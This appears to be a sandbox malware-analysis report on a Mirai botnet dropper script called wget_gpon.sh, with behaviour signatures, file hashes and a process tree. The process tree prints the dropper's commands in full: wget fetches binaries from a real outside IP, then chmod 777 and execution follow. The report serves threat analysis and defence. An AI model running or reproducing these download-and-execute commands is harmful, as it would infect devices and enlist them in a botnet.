Overview

overview

10

Static

static

1

wget_gpon.sh

ubuntu-18.04-amd64

7

wget_gpon.sh

debian-9-armhf

10

wget_gpon.sh

debian-9-mips

wget_gpon.sh

debian-9-mipsel

Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    16/07/2026, 04:28

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    wget_gpon.sh
  • Size 960B
  • Sample260716-e33vhscz9p
  • SHA256 8af2a43024cbee3b82015d4dc64247500bbda19a3f09807277f32a5fbacde702
  • MD5 SHA1 SHA512 TLSH
Score
10/10
botnetmiraidefense_evasiondiscoverymiraiupx

Malware Config

Extracted

Family

  • mirai

Botnet

  • MIRAI

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 3 IoCs
  • Executes dropped EXE 10 IoCs
  • Modifies Watchdog functionality 1 TTPs 6 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 3 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to shm directory 3 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget_gpon.sh
    /tmp/wget_gpon.sh
    1⤵
    • Executes dropped EXE
    PID:643
    • /usr/bin/wget
      wget http://94.154.43.87/bins/parm -O dvrhelper
      2⤵
      • Writes file to tmp directory
      PID:645
    • /bin/chmod
      chmod 777 dvrhelper
      2⤵
      • File and Directory Permissions Modification
      PID:668
    • /usr/bin/wget
      wget http://94.154.43.87/bins/parm5 -O dvrhelper
      2⤵
      • Writes file to tmp directory
      PID:672
    • /tmp/dvrhelper
      ./dvrhelper gpon
      2⤵
      • Deletes itself
      • Modifies Watchdog functionality
      • Changes its process name
      • Reads runtime system information
      • Writes file to shm directory
      PID:671
    • /bin/chmod
      chmod 777 dvrhelper
      2⤵
      • File and Directory Permissions Modification
      PID:679
    • /usr/bin/wget
      wget http://94.154.43.87/bins/parm6 -O dvrhelper
      2⤵
      • Writes file to tmp directory
      PID:681
    • /tmp/dvrhelper
      ./dvrhelper gpon
      2⤵
      • Deletes itself
      • Modifies Watchdog functionality
      • Changes its process name
      • Reads runtime system information
      • Writes file to shm directory
      PID:680
    • /bin/chmod
      chmod 777 dvrhelper
      2⤵
      • File and Directory Permissions Modification
      PID:682
    • /usr/bin/wget
      wget http://94.154.43.87/bins/parm7 -O dvrhelper
      2⤵
      • Writes file to tmp directory
      PID:684
    • /tmp/dvrhelper
      ./dvrhelper gpon
      2⤵
        PID:683
      • /bin/chmod
        chmod 777 dvrhelper
        2⤵
        • File and Directory Permissions Modification
        PID:685
      • /usr/bin/wget
        wget http://94.154.43.87/bins/pmips -O dvrhelper
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:687
      • /tmp/dvrhelper
        ./dvrhelper gpon
        2⤵
        • Deletes itself
        • Modifies Watchdog functionality
        • Changes its process name
        • Reads runtime system information
        • Writes file to shm directory
        PID:686
      • /bin/chmod
        chmod 777 dvrhelper
        2⤵
        • File and Directory Permissions Modification
        PID:697
      • /usr/bin/wget
        wget http://94.154.43.87/bins/pmpsl -O dvrhelper
        2⤵
        • Writes file to tmp directory
        PID:699
      • /tmp/dvrhelper
        ./dvrhelper gpon
        2⤵
          PID:698
        • /bin/chmod
          chmod 777 dvrhelper
          2⤵
          • File and Directory Permissions Modification
          PID:709
        • /usr/bin/wget
          wget http://94.154.43.87/bins/pppc -O dvrhelper
          2⤵
          • Writes file to tmp directory
          PID:711
        • /tmp/dvrhelper
          ./dvrhelper gpon
          2⤵
            PID:710
          • /bin/chmod
            chmod 777 dvrhelper
            2⤵
            • File and Directory Permissions Modification
            PID:721
          • /usr/bin/wget
            wget http://94.154.43.87/bins/pm68k -O dvrhelper
            2⤵
            • Writes file to tmp directory
            PID:723
          • /tmp/dvrhelper
            ./dvrhelper gpon
            2⤵
              PID:722
            • /bin/chmod
              chmod 777 dvrhelper
              2⤵
              • File and Directory Permissions Modification
              PID:735
            • /usr/bin/wget
              wget http://94.154.43.87/bins/psh4 -O dvrhelper
              2⤵
              • Writes file to tmp directory
              PID:737
            • /tmp/dvrhelper
              ./dvrhelper gpon
              2⤵
                PID:736
              • /bin/chmod
                chmod 777 dvrhelper
                2⤵
                • File and Directory Permissions Modification
                PID:750
              • /usr/bin/wget
                wget http://94.154.43.87/bins/px86 -O dvrhelper
                2⤵
                • Writes file to tmp directory
                PID:753
              • /tmp/dvrhelper
                ./dvrhelper gpon
                2⤵
                  PID:752
                • /bin/chmod
                  chmod 777 dvrhelper
                  2⤵
                  • File and Directory Permissions Modification
                  PID:756
              • /tmp/dvrhelper
                ./dvrhelper gpon
                1⤵
                  PID:757

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      .comm
                      • Path /dev/shm/.comm
                      • Size 6B
                      • SHA256 a1ccddf4001abe70bfe59729a8aa1fc9be28f434a93177e7509619d1d85dd7ef
                      • MD5 SHA1 SHA512
                      Submit Download

                      .comm
                      • Path /dev/shm/.comm
                      • Size 10B
                      • SHA256 e6b926495f8b5c5fbdf7744b128db49c77eb365dbf8517d49e6beb741692c579
                      • MD5 SHA1 SHA512
                      Submit Download

                      .comm
                      • Path /dev/shm/.comm
                      • Size 16B
                      • SHA256 9556ae1b7d6536937af6400a8dd38d4e40e02430eea24b99859fefaa9b635f91
                      • MD5 SHA1 SHA512
                      Submit Download

                      dvrhelper
                      • Path /tmp/dvrhelper
                      • Size 34KB
                      • SHA256 fec5b29fac5d211c9a71f6cda332f1368c176ab77cdd44ad35cdb4dc4eef9949
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      dvrhelper
                      • Path /tmp/dvrhelper
                      • Size 33KB
                      • SHA256 ff7512cdfe54ffa3ea18709364d1c3e81881faa5ba3e6928d309c3c3efe2d9c9
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      dvrhelper
                      • Path /tmp/dvrhelper
                      • Size 37KB
                      • SHA256 150dceef03fb01f2ba64c69b1ba63ac4892c632a93741c053addd4813756c423
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      dvrhelper
                      • Path /tmp/dvrhelper
                      • Size 58KB
                      • SHA256 4b07bdd04f7864af26b44b344cefb93f1a4f8dde3c7e0431b09cfb9b40e82c1a
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      dvrhelper
                      • Path /tmp/dvrhelper
                      • Size 36KB
                      • SHA256 42c9c5808ab7ced1e4b8f26b9c191898bdf48f3b9719f03430cefe10c5c1cd4d
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      dvrhelper
                      • Path /tmp/dvrhelper
                      • Size 79KB
                      • SHA256 d17be9a5f2af1831876bc6bff38789d683c45abf39d39b6e793f83eb3b7368f2
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download